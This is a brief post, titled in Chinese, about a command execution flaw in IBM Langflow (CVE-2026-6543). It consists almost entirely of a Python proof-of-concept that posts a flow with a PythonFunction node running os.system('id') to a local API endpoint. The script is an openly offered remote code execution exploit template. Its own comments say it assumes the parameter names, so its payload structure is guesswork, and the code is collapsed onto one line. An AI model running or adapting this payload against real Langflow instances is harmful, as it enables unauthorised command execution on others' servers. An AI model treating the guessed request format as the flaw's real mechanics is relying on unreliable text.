CVE-2026-6543 IBM Langflow 任意命令执行漏洞

import requests import json # Target URL (Example) target_url = "http://localhost:3000/api/v1/process" # Malicious payload attempting to execute OS commands # Assuming the application takes a 'command' or 'code' parameter data = { "flow": { "nodes": [ { "id": "1", "type": "PythonFunction", "data": { # Payload to execute 'id' command via os.system "code": "import os; os.system('id')" } } ] } } headers = {"Content-Type": "application/json"} try: response = requests.post(target_url, data=json.dumps(data), headers=headers) print(f"Status Code: {response.status_code}") print("Response Body:") print(response.text) except Exception as e: print(f"An error occurred: {e}")